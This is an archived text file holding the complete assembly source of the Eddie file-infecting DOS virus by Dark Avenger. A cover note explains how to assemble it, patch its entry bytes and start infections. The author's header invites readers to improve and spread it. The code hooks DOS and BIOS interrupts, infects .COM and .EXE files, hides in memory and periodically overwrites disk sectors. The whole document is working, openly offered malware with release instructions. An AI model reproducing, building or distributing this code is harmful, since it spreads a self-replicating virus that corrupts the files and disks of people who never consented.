home *** CD-ROM | disk | FTP | other *** search
-
-
-
-
-
-
-
-
-
-
-
-
- OK, Rob - here ya' go. As I understand it, this is only one revision level
-
- lower than the "current" version of the virus -- but I have no idea what the
-
- differences are between the two. Sigh. TASM can be used to assemble the
-
- code, then you can replace (using DEBUG) the first 3 bytes of the linked
-
- .COM file to 9H 65 00 to jump to the start of the virus code. I have been
-
- unable to cause the resulting executable to infect file on floppy until the
-
- virus is run on a hard drive first. So, to begin infections (after
-
- assembling/linking/editing the executable): 1) Run the modified executable,
-
- 2) Run a program on your hard drive. From there it will spread to files on
-
- the hard drive and the floppy. FluShot+ makes a good monitor for watching
-
- this virus at work. Have fun!
-
-
-
- Thanks for your help, and thanks for a great weekend.
-
-
-
- ;************************
-
- ;* *
-
- ;* E D D I E *
-
- ;* *
-
- ;* by Dark Avenger *
-
- ;* *
-
- ;* 3-JAN-1989 *
-
- ;* *
-
- ;* version 1.31x *
-
- ;* *
-
- ;************************
-
-
-
- ; "Blessed is he who expects nothing, for he shall not be disappointed."
-
-
-
- ; The original source of one of the first Bulgarian viruses is in front of
-
- ; you. As you may notice, it's full of rubbish and bugs, but nevertheless
-
- ; the virus has spread surprisingly quickly troughout the country and made a
-
- ; quick round the globe. (It's well-known in Eastern and Western Europe, as
-
- ; well as in USA.) Due to the aniversary of its creation, the source is
-
- ; distributed freely. You have the rights to distribute the source which can
-
- ; be charged or free of charge, with the only condition not to modify it.
-
- ; The one, who intentionaly distributes this source modified in any way will
-
- ; be punished! Still, the author will be glad if any of you improves it and
-
- ; spreads the resulting executive file (i.e., the virus itself). Pay
-
- ; attention to the fact that after you assemble the source, the resulting
-
- ; .COM-file cannot be run. For that purpose you have to create a three-byte
-
- ; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
-
- ; two files. Don't try to place a JMP at the beginning of the source.
-
-
-
- ; DISCLAIMER: The author does not take any responsability for any damage,
-
- ; either direct or implied, caused by the usage or not of this source or of
-
- ; the resulting code after assembly. No warrant is made about the product
-
- ; functionability or quality.
-
-
-
- ; I cannot resist to express my special gratitude to my "populazer" Dipl.
-
- ; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
-
- ; not, helps very much in the spreading of my viruses, in spite of the fact
-
- ; that he tries to do just the opposite (writing programs in C has never
-
- ; led to any good).
-
- ; Greetings to all virus writers!
-
-
-
- code segment
-
- assume cs:code,ds:code
-
- copyright:
-
- db 'Eddie lives...somewhere in time!',0
-
- date_stamp:
-
- dd 12239000h
-
- checksum:
-
- db 30
-
-
-
- ; Return the control to an .EXE file:
-
- ; Restores DS=ES=PSP, loads SS:SP and CS:IP.
-
-
-
-
-
-
-
-
-
-
-
- exit_exe:
-
- mov bx,es
-
- add bx,10h
-
- add bx,word ptr cs:[si+call_adr+2]
-
- mov word ptr cs:[si+patch+2],bx
-
- mov bx,word ptr cs:[si+call_adr]
-
- mov word ptr cs:[si+patch],bx
-
- mov bx,es
-
- add bx,10h
-
- add bx,word ptr cs:[si+stack_pointer+2]
-
- mov ss,bx
-
- mov sp,word ptr cs:[si+stack_pointer]
-
- db 0eah ;JMP XXXX:YYYY
-
- patch:
-
- dd 0
-
-
-
- ; Returns control to a .COM file:
-
- ; Restores the first 3 bytes in the
-
- ; beginning of the file, loads SP and IP.
-
-
-
- exit_com:
-
-
-
-
-
-
-
-
-
- mov di,100h
-
- add si,offset my_save
-
- movsb
-
- movsw
-
- mov sp,ds:[6] ;This is incorrect
-
- xor bx,bx
-
- push bx
-
- jmp [si-11] ;si+call_adr-top_file
-
-
-
- ; Program entry point
-
-
-
- startup:
-
- call relative
-
- relative:
-
- pop si ;SI = $
-
- sub si,offset relative
-
- cld
-
- cmp word ptr cs:[si+my_save],5a4dh
-
- je exe_ok
-
- cli
-
- mov sp,si ;A separate stack is supported for
-
- add sp,offset top_file+100h ;the .COM files, in order not to
-
- sti ;overlap the stack by the program
-
- cmp sp,ds:[6]
-
- jnc exit_com
-
- exe_ok:
-
- push ax
-
- push es
-
- push si
-
- push ds
-
- mov di,si
-
-
-
- ; Looking for the address of INT 13h handler in ROM-BIOS
-
-
-
- xor ax,ax
-
- push ax
-
- mov ds,ax
-
- les ax,ds:[13h*4]
-
- mov word ptr cs:[si+fdisk],ax
-
- mov word ptr cs:[si+fdisk+2],es
-
- mov word ptr cs:[si+disk],ax
-
- mov word ptr cs:[si+disk+2],es
-
- mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
-
- cmp ax,0f000h ;for diskettes if a hard disk is
-
- jne nofdisk ;available
-
- mov word ptr cs:[si+disk+2],ax
-
- mov ax,ds:[40h*4]
-
- mov word ptr cs:[si+disk],ax
-
- mov dl,80h
-
- mov ax,ds:[41h*4+2] ;INT 41h usually points the segment,
-
- cmp ax,0f000h ;where the original INT 13h vector is
-
- je isfdisk
-
- cmp ah,0c8h
-
- jc nofdisk
-
- cmp ah,0f4h
-
- jnc nofdisk
-
- test al,7fh
-
- jnz nofdisk
-
- mov ds,ax
-
- cmp ds:[0],0aa55h
-
- jne nofdisk
-
- mov dl,ds:[2]
-
- isfdisk:
-
- mov ds,ax
-
- xor dh,dh
-
- mov cl,9
-
- shl dx,cl
-
- mov cx,dx
-
- xor si,si
-
- findvect:
-
- lodsw ;Occasionally begins with:
-
- cmp ax,0fa80h ; CMP DL,80h
-
- jne altchk ; JNC somewhere
-
- lodsw
-
- cmp ax,7380h
-
- je intchk
-
- jne nxt0
-
- altchk:
-
- cmp ax,0c2f6h ;or with:
-
- jne nxt ; TEST DL,80h
-
- lodsw ; JNZ somewhere
-
- cmp ax,7580h
-
- jne nxt0
-
- intchk:
-
- inc si ;then there is:
-
- lodsw ; INT 40h
-
- cmp ax,40cdh
-
- je found
-
- sub si,3
-
- nxt0:
-
- dec si
-
- dec si
-
- nxt:
-
- dec si
-
- loop findvect
-
- jmp short nofdisk
-
- found:
-
- sub si,7
-
- mov word ptr cs:[di+fdisk],si
-
- mov word ptr cs:[di+fdisk+2],ds
-
- nofdisk:
-
- mov si,di
-
- pop ds
-
-
-
- ; Check whether the program is present in memory:
-
-
-
- les ax,ds:[21h*4]
-
- mov word ptr cs:[si+save_int_21],ax
-
- mov word ptr cs:[si+save_int_21+2],es
-
- push cs
-
- pop ds
-
- cmp ax,offset int_21
-
- jne bad_func
-
- xor di,di
-
- mov cx,offset my_size
-
- scan_func:
-
- lodsb
-
- scasb
-
- jne bad_func
-
- loop scan_func
-
- pop es
-
- jmp go_program
-
-
-
- ; Move the program to the top of memory:
-
- ; (it's full of rubbish and bugs here)
-
-
-
- bad_func:
-
- pop es
-
- mov ah,49h
-
- int 21h
-
- mov bx,0ffffh
-
- mov ah,48h
-
- int 21h
-
- sub bx,(top_bz+my_bz+1ch-1)/16+2
-
- jc go_program
-
- mov cx,es
-
- stc
-
- adc cx,bx
-
- mov ah,4ah
-
- int 21h
-
- mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
-
- stc
-
- sbb es:[2],bx
-
- push es
-
- mov es,cx
-
- mov ah,4ah
-
- int 21h
-
- mov ax,es
-
- dec ax
-
- mov ds,ax
-
- mov word ptr ds:[1],8
-
- call mul_16
-
- mov bx,ax
-
- mov cx,dx
-
- pop ds
-
- mov ax,ds
-
- call mul_16
-
- add ax,ds:[6]
-
- adc dx,0
-
- sub ax,bx
-
- sbb dx,cx
-
- jc mem_ok
-
- sub ds:[6],ax ;Reduction of the segment size
-
- mem_ok:
-
- pop si
-
- push si
-
- push ds
-
- push cs
-
- xor di,di
-
- mov ds,di
-
- lds ax,ds:[27h*4]
-
- mov word ptr cs:[si+save_int_27],ax
-
- mov word ptr cs:[si+save_int_27+2],ds
-
- pop ds
-
- mov cx,offset aux_size
-
- rep movsb
-
- xor ax,ax
-
- mov ds,ax
-
- mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
-
- mov ds:[21h*4+2],es
-
- mov ds:[27h*4],offset int_27
-
- mov ds:[27h*4+2],es
-
- mov word ptr es:[filehndl],ax
-
- pop es
-
- go_program:
-
- pop si
-
-
-
- ; Smash the next disk sector:
-
-
-
- xor ax,ax
-
- mov ds,ax
-
- mov ax,ds:[13h*4]
-
- mov word ptr cs:[si+save_int_13],ax
-
- mov ax,ds:[13h*4+2]
-
- mov word ptr cs:[si+save_int_13+2],ax
-
- mov ds:[13h*4],offset int_13
-
- add ds:[13h*4],si
-
- mov ds:[13h*4+2],cs
-
- pop ds
-
- push ds
-
- push si
-
- mov bx,si
-
- lds ax,ds:[2ah]
-
- xor si,si
-
- mov dx,si
-
- scan_envir: ;Fetch program's name
-
- lodsw ;(with DOS 2.x it doesn't work anyway)
-
- dec si
-
- test ax,ax
-
- jnz scan_envir
-
- add si,3
-
- lodsb
-
-
-
- ; The following instruction is a complete nonsense. Try to enter a drive &
-
- ; directory path in lowercase, then run an infected program from there.
-
- ; As a result of an error here + an error in DOS the next sector is not
-
- ; smashed. Two memory bytes are smashed instead, most probably onto the
-
- ; infected program.
-
-
-
- sub al,'A'
-
- mov cx,1
-
- push cs
-
- pop ds
-
- add bx,offset int_27
-
- push ax
-
- push bx
-
- push cx
-
- int 25h
-
- pop ax
-
- pop cx
-
- pop bx
-
- inc byte ptr [bx+0ah]
-
- and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
-
- jnz store_sec ;nothing is not enough for some.
-
- mov al,[bx+10h]
-
- xor ah,ah
-
- mul word ptr [bx+16h]
-
- add ax,[bx+0eh]
-
- push ax
-
- mov ax,[bx+11h]
-
- mov dx,32
-
- mul dx
-
- div word ptr [bx+0bh]
-
- pop dx
-
- add dx,ax
-
- mov ax,[bx+8]
-
- add ax,40h
-
- cmp ax,[bx+13h]
-
- jc store_new
-
- inc ax
-
- and ax,3fh
-
- add ax,dx
-
- cmp ax,[bx+13h]
-
- jnc small_disk
-
- store_new:
-
- mov [bx+8],ax
-
- store_sec:
-
- pop ax
-
- xor dx,dx
-
- push ax
-
- push bx
-
- push cx
-
- int 26h
-
-
-
-
-
- ; The writing trough this interrupt is not the smartest thing, bacause it
-
- ; can be intercepted (what Vesselin Bontchev has managed to notice).
-
-
-
- pop ax
-
- pop cx
-
- pop bx
-
- pop ax
-
- cmp byte ptr [bx+0ah],0
-
- jne not_now
-
- mov dx,[bx+8]
-
- pop bx
-
- push bx
-
- int 26h
-
- small_disk:
-
- pop ax
-
- not_now:
-
- pop si
-
- xor ax,ax
-
- mov ds,ax
-
- mov ax,word ptr cs:[si+save_int_13]
-
- mov ds:[13h*4],ax
-
- mov ax,word ptr cs:[si+save_int_13+2]
-
- mov ds:[13h*4+2],ax
-
- pop ds
-
- pop ax
-
- cmp word ptr cs:[si+my_save],5a4dh
-
- jne go_exit_com
-
- jmp exit_exe
-
- go_exit_com:
-
- jmp exit_com
-
- int_24:
-
- mov al,3 ;This instruction seems unnecessary
-
- iret
-
-
-
- ; INT 27h handler (this is necessary)
-
-
-
- int_27:
-
- pushf
-
- call alloc
-
- popf
-
- jmp dword ptr cs:[save_int_27]
-
-
-
- ; During the DOS functions Set & Get Vector it seems that the virus has not
-
- ; intercepted them (this is a doubtfull advantage and it is a possible
-
- ; source of errors with some "intelligent" programs)
-
-
-
- set_int_27:
-
- mov word ptr cs:[save_int_27],dx
-
- mov word ptr cs:[save_int_27+2],ds
-
- popf
-
- iret
-
- set_int_21:
-
- mov word ptr cs:[save_int_21],dx
-
- mov word ptr cs:[save_int_21+2],ds
-
- popf
-
- iret
-
- get_int_27:
-
- les bx,dword ptr cs:[save_int_27]
-
- popf
-
- iret
-
- get_int_21:
-
- les bx,dword ptr cs:[save_int_21]
-
- popf
-
- iret
-
-
-
- exec:
-
-
-
-
-
- call do_file
-
- call alloc
-
- popf
-
- jmp dword ptr cs:[save_int_21]
-
-
-
- db 'Diana P.',0
-
-
-
- ; INT 21h handler. Infects files during execution, copying, browsing or
-
- ; creating and some other operations. The execution of functions 0 and 26h
-
- ; has bad consequences.
-
-
-
- int_21:
-
- push bp
-
- mov bp,sp
-
- push [bp+6]
-
- popf
-
- pop bp
-
- pushf
-
- call ontop
-
- cmp ax,2521h
-
- je set_int_21
-
- cmp ax,2527h
-
- je set_int_27
-
- cmp ax,3521h
-
- je get_int_21
-
- cmp ax,3527h
-
- je get_int_27
-
- cld
-
- cmp ax,4b00h
-
- je exec
-
- cmp ah,3ch
-
- je create
-
- cmp ah,3eh
-
- je close
-
- cmp ah,5bh
-
- jne not_create
-
- create:
-
- cmp word ptr cs:[filehndl],0;May be 0 if the file is open
-
- jne dont_touch
-
- call see_name
-
- jnz dont_touch
-
- call alloc
-
- popf
-
- call function
-
- jc int_exit
-
- pushf
-
- push es
-
- push cs
-
- pop es
-
- push si
-
- push di
-
- push cx
-
- push ax
-
- mov di,offset filehndl
-
- stosw
-
- mov si,dx
-
- mov cx,65
-
- move_name:
-
- lodsb
-
- stosb
-
- test al,al
-
- jz all_ok
-
- loop move_name
-
- mov word ptr es:[filehndl],cx
-
- all_ok:
-
- pop ax
-
- pop cx
-
- pop di
-
- pop si
-
- pop es
-
- go_exit:
-
- popf
-
- jnc int_exit ;JMP
-
- close:
-
- cmp bx,word ptr cs:[filehndl]
-
- jne dont_touch
-
- test bx,bx
-
- jz dont_touch
-
- call alloc
-
- popf
-
- call function
-
- jc int_exit
-
- pushf
-
- push ds
-
- push cs
-
- pop ds
-
- push dx
-
- mov dx,offset filehndl+2
-
- call do_file
-
- mov word ptr cs:[filehndl],0
-
- pop dx
-
- pop ds
-
- jmp go_exit
-
- not_create:
-
- cmp ah,3dh
-
- je touch
-
- cmp ah,43h
-
- je touch
-
- cmp ah,56h ;Unfortunately, the command inter-
-
- jne dont_touch ;preter does not use this function
-
- touch:
-
- call see_name
-
- jnz dont_touch
-
- call do_file
-
- dont_touch:
-
- call alloc
-
- popf
-
- call function
-
- int_exit:
-
- pushf
-
- push ds
-
- call get_chain
-
- mov byte ptr ds:[0],'Z'
-
- pop ds
-
- popf
-
- dummy proc far ;???
-
- ret 2
-
- dummy endp
-
-
-
- ; Checks whether the file is .COM or .EXE.
-
- ; It is not called upon file execution.
-
-
-
- see_name:
-
- push ax
-
- push si
-
- mov si,dx
-
- scan_name:
-
- lodsb
-
- test al,al
-
- jz bad_name
-
- cmp al,'.'
-
- jnz scan_name
-
- call get_byte
-
- mov ah,al
-
- call get_byte
-
- cmp ax,'co'
-
- jz pos_com
-
- cmp ax,'ex'
-
- jnz good_name
-
- call get_byte
-
- cmp al,'e'
-
- jmp short good_name
-
- pos_com:
-
- call get_byte
-
- cmp al,'m'
-
- jmp short good_name
-
- bad_name:
-
- inc al
-
- good_name:
-
- pop si
-
- pop ax
-
- ret
-
-
-
- ; Converts into lowercase (the subroutines are a great thing).
-
-
-
- get_byte:
-
- lodsb
-
- cmp al,'C'
-
- jc byte_got
-
- cmp al,'Y'
-
- jnc byte_got
-
- add al,20h
-
- byte_got:
-
- ret
-
-
-
- ; Calls the original INT 21h.
-
-
-
- function:
-
- pushf
-
- call dword ptr cs:[save_int_21]
-
- ret
-
-
-
- ; Arrange to infect an executable file.
-
-
-
- do_file:
-
- push ds ;Save the registers in stack
-
- push es
-
- push si
-
- push di
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- mov si,ds
-
- xor ax,ax
-
- mov ds,ax
-
- les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
-
- push es ;and changes them with what is needed
-
- push ax
-
- mov ds:[24h*4],offset int_24
-
- mov ds:[24h*4+2],cs
-
- les ax,ds:[13h*4]
-
- mov word ptr cs:[save_int_13],ax
-
- mov word ptr cs:[save_int_13+2],es
-
- mov ds:[13h*4],offset int_13
-
- mov ds:[13h*4+2],cs
-
- push es
-
- push ax
-
- mov ds,si
-
- xor cx,cx ;Arranges to infect Read-only files
-
- mov ax,4300h
-
- call function
-
- mov bx,cx
-
- and cl,0feh
-
- cmp cl,bl
-
- je dont_change
-
- mov ax,4301h
-
- call function
-
- stc
-
- dont_change:
-
- pushf
-
- push ds
-
- push dx
-
- push bx
-
- mov ax,3d02h ;Now we can safely open the file
-
- call function
-
- jc cant_open
-
- mov bx,ax
-
- call disease
-
- mov ah,3eh ;Close it
-
-
-
- call function
-
- cant_open:
-
- pop cx
-
- pop dx
-
- pop ds
-
- popf
-
- jnc no_update
-
- mov ax,4301h ;Restores file's attributes
-
- call function ;if they were changed (just in case)
-
- no_update:
-
- xor ax,ax ;Restores INT 13h and INT 24h
-
- mov ds,ax
-
- pop ds:[13h*4]
-
- pop ds:[13h*4+2]
-
- pop ds:[24h*4]
-
- pop ds:[24h*4+2]
-
- pop dx ;Register restoration
-
- pop cx
-
- pop bx
-
- pop ax
-
- pop di
-
- pop si
-
- pop es
-
- pop ds
-
- ret
-
-
-
- ; This routine is the working horse.
-
-
-
- disease:
-
- push cs
-
- pop ds
-
- push cs
-
- pop es
-
- mov dx,offset top_save ;Read the file beginning
-
- mov cx,18h
-
- mov ah,3fh
-
- int 21h
-
- xor cx,cx
-
- xor dx,dx
-
- mov ax,4202h ;Save file length
-
- int 21h
-
- mov word ptr [top_save+1ah],dx
-
- cmp ax,offset my_size ;This should be top_file
-
- sbb dx,0
-
- jc stop_fuck_2 ;Small files are not infected
-
- mov word ptr [top_save+18h],ax
-
- cmp word ptr [top_save],5a4dh
-
- jne com_file
-
- mov ax,word ptr [top_save+8]
-
- add ax,word ptr [top_save+16h]
-
- call mul_16
-
- add ax,word ptr [top_save+14h]
-
- adc dx,0
-
- mov cx,dx
-
- mov dx,ax
-
- jmp short see_sick
-
- com_file:
-
- cmp byte ptr [top_save],0e9h
-
- jne see_fuck
-
- mov dx,word ptr [top_save+1]
-
- add dx,103h
-
- jc see_fuck
-
- dec dh
-
- xor cx,cx
-
-
-
- ; Check if the file is properly infected
-
-
-
-
-
- see_sick:
-
- sub dx,startup-copyright
-
- sbb cx,0
-
- mov ax,4200h
-
- int 21h
-
- add ax,offset top_file
-
- adc dx,0
-
- cmp ax,word ptr [top_save+18h]
-
- jne see_fuck
-
- cmp dx,word ptr [top_save+1ah]
-
- jne see_fuck
-
- mov dx,offset top_save+1ch
-
- mov si,dx
-
- mov cx,offset my_size
-
- mov ah,3fh
-
- int 21h
-
- jc see_fuck
-
- cmp cx,ax
-
- jne see_fuck
-
- xor di,di
-
- next_byte:
-
-
-
- lodsb
-
- scasb
-
- jne see_fuck
-
- loop next_byte
-
- stop_fuck_2:
-
- ret
-
- see_fuck:
-
- xor cx,cx ;Seek to the end of file
-
- xor dx,dx
-
- mov ax,4202h
-
- int 21h
-
- cmp word ptr [top_save],5a4dh
-
- je fuck_exe
-
- add ax,offset aux_size+200h ;Watch out for too big .COM files
-
- adc dx,0
-
- je fuck_it
-
- ret
-
-
-
- ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
-
-
-
- fuck_exe:
-
- mov dx,word ptr [top_save+18h]
-
- neg dl
-
- and dx,0fh
-
- xor cx,cx
-
- mov ax,4201h
-
- int 21h
-
- mov word ptr [top_save+18h],ax
-
- mov word ptr [top_save+1ah],dx
-
- fuck_it:
-
- mov ax,5700h ;Get file's date
-
- int 21h
-
- pushf
-
- push cx
-
- push dx
-
- cmp word ptr [top_save],5a4dh
-
- je exe_file ;Very clever, isn't it?
-
- mov ax,100h
-
- jmp short set_adr
-
- exe_file:
-
- mov ax,word ptr [top_save+14h]
-
- mov dx,word ptr [top_save+16h]
-
- set_adr:
-
- mov di,offset call_adr
-
- stosw
-
- mov ax,dx
-
- stosw
-
- mov ax,word ptr [top_save+10h]
-
- stosw
-
- mov ax,word ptr [top_save+0eh]
-
- stosw
-
- mov si,offset top_save ;This offers the possibilities to
-
- movsb ;some nasty programs to restore
-
- movsw ;exactly the original length
-
- xor dx,dx ;of the .EXE files
-
- mov cx,offset top_file
-
- mov ah,40h
-
- int 21h ;Write the virus
-
- jc go_no_fuck ;(don't trace here)
-
- xor cx,ax
-
- jnz go_no_fuck
-
- mov dx,cx
-
- mov ax,4200h
-
- int 21h
-
- cmp word ptr [top_save],5a4dh
-
- je do_exe
-
- mov byte ptr [top_save],0e9h
-
- mov ax,word ptr [top_save+18h]
-
- add ax,startup-copyright-3
-
- mov word ptr [top_save+1],ax
-
- mov cx,3
-
- jmp short write_header
-
- go_no_fuck:
-
- jmp short no_fuck
-
-
-
- ; Construct the .EXE file's header
-
-
-
- do_exe:
-
- call mul_hdr
-
- not ax
-
- not dx
-
- inc ax
-
- jne calc_offs
-
- inc dx
-
- calc_offs:
-
- add ax,word ptr [top_save+18h]
-
- adc dx,word ptr [top_save+1ah]
-
- mov cx,10h
-
- div cx
-
- mov word ptr [top_save+14h],startup-copyright
-
- mov word ptr [top_save+16h],ax
-
- add ax,(offset top_file-offset copyright-1)/16+1
-
- mov word ptr [top_save+0eh],ax
-
- mov word ptr [top_save+10h],100h
-
- add word ptr [top_save+18h],offset top_file
-
- adc word ptr [top_save+1ah],0
-
- mov ax,word ptr [top_save+18h]
-
- and ax,1ffh
-
- mov word ptr [top_save+2],ax
-
- pushf
-
- mov ax,word ptr [top_save+19h]
-
- shr byte ptr [top_save+1bh],1
-
- rcr ax,1
-
- popf
-
- jz update_len
-
- inc ax
-
- update_len:
-
- mov word ptr [top_save+4],ax
-
- mov cx,18h
-
- write_header:
-
- mov dx,offset top_save
-
- mov ah,40h
-
- int 21h ;Write the file beginning
-
- no_fuck:
-
- pop dx
-
- pop cx
-
- popf
-
- jc stop_fuck
-
- mov ax,5701h ;Restore the original file date
-
- int 21h
-
- stop_fuck:
-
- ret
-
-
-
- ; The following is used by the INT 21h and INT 27h handlers in connection
-
- ; to the program hiding in memory from those who don't need to see it.
-
- ; The whole system is absurde and meaningless and it is also another source
-
- ; for program conflicts.
-
-
-
- alloc:
-
- push ds
-
- call get_chain
-
- mov byte ptr ds:[0],'M'
-
- pop ds
-
-
-
- ; Assures that the program is the first one in the processes,
-
- ; which have intercepted INT 21h (yet another source of conflicts).
-
-
-
- ontop:
-
- push ds
-
- push ax
-
- push bx
-
- push dx
-
- xor bx,bx
-
- mov ds,bx
-
- lds dx,ds:[21h*4]
-
- cmp dx,offset int_21
-
- jne search_segment
-
- mov ax,ds
-
- mov bx,cs
-
- cmp ax,bx
-
- je test_complete
-
-
-
- ; Searches the segment of the sucker who has intercepted INT 21h, in
-
- ; order to find where it has stored the old values and to replace them.
-
- ; Nothing is done for INT 27h.
-
-
-
- xor bx,bx
-
- search_segment:
-
- mov ax,[bx]
-
- cmp ax,offset int_21
-
- jne search_next
-
- mov ax,cs
-
- cmp ax,[bx+2]
-
- je got_him
-
- search_next:
-
- inc bx
-
- jne search_segment
-
- je return_control
-
- got_him:
-
- mov ax,word ptr cs:[save_int_21]
-
- mov [bx],ax
-
- mov ax,word ptr cs:[save_int_21+2]
-
- mov [bx+2],ax
-
- mov word ptr cs:[save_int_21],dx
-
- mov word ptr cs:[save_int_21+2],ds
-
- xor bx,bx
-
-
-
- ; Even if he has not saved them in the same segment, this won't help him.
-
-
-
- return_control:
-
- mov ds,bx
-
- mov ds:[21h*4],offset int_21
-
- mov ds:[21h*4+2],cs
-
- test_complete:
-
- pop dx
-
- pop bx
-
- pop ax
-
- pop ds
-
- ret
-
-
-
- ; Fetch the segment of the last MCB
-
-
-
- get_chain:
-
- push ax
-
- push bx
-
- mov ah,62h
-
- call function
-
- mov ax,cs
-
- dec ax
-
- dec bx
-
- next_blk:
-
- mov ds,bx
-
- stc
-
- adc bx,ds:[3]
-
- cmp bx,ax
-
- jc next_blk
-
- pop bx
-
- pop ax
-
- ret
-
-
-
- ; Multiply by 16
-
-
-
- mul_hdr:
-
- mov ax,word ptr [top_save+8]
-
- mul_16:
-
- mov dx,10h
-
- mul dx
-
- ret
-
-
-
- db 'This program was written in the city of Sofia '
-
- db '(C) 1988-89 Dark Avenger',0
-
-
-
- ; INT 13h handler.
-
- ; Calls the original vectors in BIOS, if it's a writing call
-
-
-
- int_13:
-
- cmp ah,3
-
- jnz subfn_ok
-
- cmp dl,80h
-
- jnc hdisk
-
- db 0eah ;JMP XXXX:YYYY
-
- my_size: ;--- Up to here comparison
-
- disk: ; with the original is made
-
- dd 0
-
- hdisk:
-
- db 0eah ;JMP XXXX:YYYY
-
- fdisk:
-
- dd 0
-
- subfn_ok:
-
- db 0eah ;JMP XXXX:YYYY
-
- save_int_13:
-
- dd 0
-
- call_adr:
-
- dd 100h
-
-
-
- stack_pointer:
-
- dd 0 ;The original value of SS:SP
-
- my_save:
-
- int 20h ;The original contents of the first
-
- nop ;3 bytes of the file
-
- top_file: ;--- Up to here the code is written
-
- filehndl equ $ ; in the files
-
- filename equ filehndl+2 ;Buffer for the name of the opened file
-
- save_int_27 equ filename+65 ;Original INT 27h vector
-
- save_int_21 equ save_int_27+4 ;Original INT 21h vector
-
- aux_size equ save_int_21+4 ;--- Up to here is moved into memory
-
- top_save equ save_int_21+4 ;Beginning of the buffer, which
-
- contains
-
- ; - The first 24 bytes read from file
-
- ; - File length (4 bytes)
-
- ; - The last bytes of the file
-
- ; (my_size bytes)
-
- top_bz equ top_save-copyright
-
- my_bz equ my_size-copyright
-
-
-
- code ends
-
- end
-
-